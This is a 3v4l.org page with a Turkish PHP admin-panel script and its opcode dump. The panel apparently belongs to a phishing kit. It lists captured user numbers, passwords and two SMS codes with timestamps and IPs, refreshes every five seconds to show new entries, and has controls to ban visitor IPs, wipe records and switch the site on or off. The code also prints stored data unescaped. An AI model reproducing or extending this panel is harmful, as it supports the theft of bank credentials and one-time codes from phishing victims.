3v4l.org

run code in 300+ PHP versions simultaneously
<?php include("baglan.php"); include("denetle.php"); session_start(); header("Cache-control:private"); if($_SESSION['logged'] != "1") { header("location:giris.php"); die(); } if($_GET['tumsil']==1){ mysql_query("TRUNCATE TABLE ak"); echo "<script>window.location.href='index.php';</script>"; } ?> <!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <title>Yönetim Paneli</title> <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta http-equiv="refresh" content="5"> <style> .table { margin-bottom: 0px; } </style> </head> <body> <center><h1>Yönetim Paneline Hoşgeldiniz</h1></center> <div class="container"> <br><a href="#" onclick="javascript:if(confirm('Silmek istediğinize emin misiniz?')) window.location.assign('?tumsil=1');">Tüm Kayıtları Sil</a> <br> <a href="aktif.php"> Siteyi Pasif Et </a> / <a href="pasif.php"> Siteyi Aktif Et </a> <div class="well"> <table class="table"> <thead> <tr> <th>#</th> <th>Kullanıcı No</th> <th>Şifre</th> <th>SMS1</th> <th>SMS2</th> <th>Tarih</th> <th>Sil</th> </tr> </thead> <tbody> <?php $calistir = mysql_query("select * from ak order by id DESC") or die("Hata Olustu!"); while($oku=mysql_fetch_assoc($calistir)) { $not=$oku['notif']; ?> <tr <? if ($not=='1'){?>style="background:#FFD429"<? } ?>> <th scope="row"><?php echo $oku['id']; ?></th> <td><?php echo $oku['kullanici']; ?></td> <td><?php echo $oku['pass']; ?></td> <td><?php echo $oku['sms1']; ?></td> <td><?php echo $oku['sms2']; ?></td> <td><?php echo $oku['tarih']; ?></td> <td><a href="ipban.php?ipbanla=<?php echo $oku['ip']; ?>&id=<?php echo $oku['id']; ?>">IP Banla</a> / <a href="sil.php?id=<?php echo $oku['id']; ?>">Sil</a></td> </tr> <?php } ?> </tbody> </table> <script src="js/bootstrap.min.js"></script> </body> </html>
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 11, Position 2 = 15
Branch analysis from position: 11
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 15
2 jumps found. (Code = 43) Position 1 = 19, Position 2 = 23
Branch analysis from position: 19
2 jumps found. (Code = 47) Position 1 = 29, Position 2 = 31
Branch analysis from position: 29
1 jumps found. (Code = 79) Position 1 = -2
Branch analysis from position: 31
1 jumps found. (Code = 42) Position 1 = 66
Branch analysis from position: 66
2 jumps found. (Code = 44) Position 1 = 71, Position 2 = 32
Branch analysis from position: 71
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 32
2 jumps found. (Code = 43) Position 1 = 37, Position 2 = 38
Branch analysis from position: 37
2 jumps found. (Code = 44) Position 1 = 71, Position 2 = 32
Branch analysis from position: 71
Branch analysis from position: 32
Branch analysis from position: 38
Branch analysis from position: 23
filename:       /in/cjkVr
function name:  (null)
number of ops:  73
compiled vars:  !0 = $calistir, !1 = $not, !2 = $oku
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INCLUDE_OR_EVAL                                          'baglan.php', INCLUDE
    5     1        INCLUDE_OR_EVAL                                          'denetle.php', INCLUDE
    6     2        INIT_FCALL                                               'session_start'
          3        DO_ICALL                                                 
    7     4        INIT_FCALL                                               'header'
          5        SEND_VAL                                                 'Cache-control%3Aprivate'
          6        DO_ICALL                                                 
    9     7        FETCH_R                      global              ~7      '_SESSION'
          8        FETCH_DIM_R                                      ~8      ~7, 'logged'
          9        IS_NOT_EQUAL                                             ~8, '1'
         10      > JMPZ                                                     ~9, ->15
   10    11    >   INIT_FCALL                                               'header'
         12        SEND_VAL                                                 'location%3Agiris.php'
         13        DO_ICALL                                                 
   11    14      > EXIT                                                     
   13    15    >   FETCH_R                      global              ~11     '_GET'
         16        FETCH_DIM_R                                      ~12     ~11, 'tumsil'
         17        IS_EQUAL                                                 ~12, 1
         18      > JMPZ                                                     ~13, ->23
   15    19    >   INIT_FCALL_BY_NAME                                       'mysql_query'
         20        SEND_VAL_EX                                              'TRUNCATE+TABLE+ak'
         21        DO_FCALL                                      0          
   17    22        ECHO                                                     '%3Cscript%3Ewindow.location.href%3D%27index.php%27%3B%3C%2Fscript%3E'
   22    23    >   ECHO                                                     '%3C%21DOCTYPE+html%3E%0A%3Chtml+lang%3D%22tr%22%3E%0A%3Chead%3E%0A%09%3Cmeta+charset%3D%22UTF-8%22%3E%0A%09%3Ctitle%3EY%C3%B6netim+Paneli%3C%2Ftitle%3E%0A%09%3Clink+rel%3D%22stylesheet%22+type%3D%22text%2Fcss%22+href%3D%22css%2Fbootstrap.min.css%22%3E%0A%09%3Cmeta+name%3D%22viewport%22+content%3D%22width%3Ddevice-width%2C+initial-scale%3D1%22%3E%0A%3Cmeta+http-equiv%3D%22refresh%22+content%3D%225%22%3E%0A%09%3Cstyle%3E%0A%09.table+%7B%0A%09%09margin-bottom%3A+0px%3B%0A%09%7D%0A%09%3C%2Fstyle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%3Ccenter%3E%3Ch1%3EY%C3%B6netim+Paneline+Ho%C5%9Fgeldiniz%3C%2Fh1%3E%3C%2Fcenter%3E%0A%09%3Cdiv+class%3D%22container%22%3E%0A%09%3Cbr%3E%3Ca+href%3D%22%23%22+onclick%3D%22javascript%3Aif%28confirm%28%27Silmek+istedi%C4%9Finize+emin+misiniz%3F%27%29%29%0Awindow.location.assign%28%27%3Ftumsil%3D1%27%29%3B%22%3ET%C3%BCm+Kay%C4%B1tlar%C4%B1+Sil%3C%2Fa%3E%0A%3Cbr%3E%0A%3Ca+href%3D%22aktif.php%22%3E+Siteyi+Pasif+Et+%3C%2Fa%3E+%2F+%3Ca+href%3D%22pasif.php%22%3E+Siteyi+Aktif+Et+%3C%2Fa%3E%0A%09%3Cdiv+class%3D%22well%22%3E%0A%09%3Ctable+class%3D%22table%22%3E%0A++++++%3Cthead%3E%0A++++++++%3Ctr%3E%0A++++++++++%3Cth%3E%23%3C%2Fth%3E%0A++++++++++%3Cth%3EKullan%C4%B1c%C4%B1+No%3C%2Fth%3E%0A++++++++++%3Cth%3E%C5%9Eifre%3C%2Fth%3E%0A%09%09++%3Cth%3ESMS1%3C%2Fth%3E%0A%09%09++%3Cth%3ESMS2%3C%2Fth%3E%0A%09%09++%3Cth%3ETarih%3C%2Fth%3E%0A%09%09++%3Cth%3ESil%3C%2Fth%3E%0A++++++++%3C%2Ftr%3E%0A++++++%3C%2Fthead%3E%0A++++++%3Ctbody%3E%0A%09%09'
   58    24        INIT_FCALL_BY_NAME                                       'mysql_query'
         25        SEND_VAL_EX                                              'select+%2A+from+ak+order+by+id+DESC'
         26        DO_FCALL                                      0  $15     
         27        ASSIGN                                           ~16     !0, $15
         28      > JMPNZ_EX                                         ~16     ~16, ->31
         29    > > EXIT                                                     'Hata+Olustu%21'
         30*       BOOL                                             ~16     <true>
   59    31    > > JMP                                                      ->66
   60    32    >   FETCH_DIM_R                                      ~17     !2, 'notif'
         33        ASSIGN                                                   !1, ~17
   62    34        ECHO                                                     '++++++++%3Ctr+'
         35        IS_EQUAL                                                 !1, '1'
         36      > JMPZ                                                     ~19, ->38
         37    >   ECHO                                                     'style%3D%22background%3A%23FFD429%22'
         38    >   ECHO                                                     '%3E%0A++++++++++%3Cth+scope%3D%22row%22%3E'
   63    39        FETCH_DIM_R                                      ~20     !2, 'id'
         40        ECHO                                                     ~20
         41        ECHO                                                     '%3C%2Fth%3E%0A++++++++++%3Ctd%3E'
   64    42        FETCH_DIM_R                                      ~21     !2, 'kullanici'
         43        ECHO                                                     ~21
         44        ECHO                                                     '%3C%2Ftd%3E%0A++++++++++%3Ctd%3E'
   65    45        FETCH_DIM_R                                      ~22     !2, 'pass'
         46        ECHO                                                     ~22
         47        ECHO                                                     '%3C%2Ftd%3E%0A%09%09++%3Ctd%3E'
   66    48        FETCH_DIM_R                                      ~23     !2, 'sms1'
         49        ECHO                                                     ~23
         50        ECHO                                                     '%3C%2Ftd%3E%0A%09%09++%3Ctd%3E'
   67    51        FETCH_DIM_R                                      ~24     !2, 'sms2'
         52        ECHO                                                     ~24
         53        ECHO                                                     '%3C%2Ftd%3E%0A%09%09++%3Ctd%3E'
   68    54        FETCH_DIM_R                                      ~25     !2, 'tarih'
         55        ECHO                                                     ~25
         56        ECHO                                                     '%3C%2Ftd%3E%0A%09%09++%3Ctd%3E%3Ca+href%3D%22ipban.php%3Fipbanla%3D'
   69    57        FETCH_DIM_R                                      ~26     !2, 'ip'
         58        ECHO                                                     ~26
         59        ECHO                                                     '%26id%3D'
         60        FETCH_DIM_R                                      ~27     !2, 'id'
         61        ECHO                                                     ~27
         62        ECHO                                                     '%22%3EIP+Banla%3C%2Fa%3E+%2F+%3Ca+href%3D%22sil.php%3Fid%3D'
         63        FETCH_DIM_R                                      ~28     !2, 'id'
         64        ECHO                                                     ~28
         65        ECHO                                                     '%22%3ESil%3C%2Fa%3E%3C%2Ftd%3E%0A++++++++%3C%2Ftr%3E%0A%09%09'
   59    66    >   INIT_FCALL_BY_NAME                                       'mysql_fetch_assoc'
         67        SEND_VAR_EX                                              !0
         68        DO_FCALL                                      0  $29     
         69        ASSIGN                                           ~30     !2, $29
         70      > JMPNZ                                                    ~30, ->32
   72    71    >   ECHO                                                     '++++++%3C%2Ftbody%3E%0A++++%3C%2Ftable%3E%0A%09%3Cscript+src%3D%22js%2Fbootstrap.min.js%22%3E%3C%2Fscript%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E'
   76    72      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.39 ms | 1020 KiB | 15 Q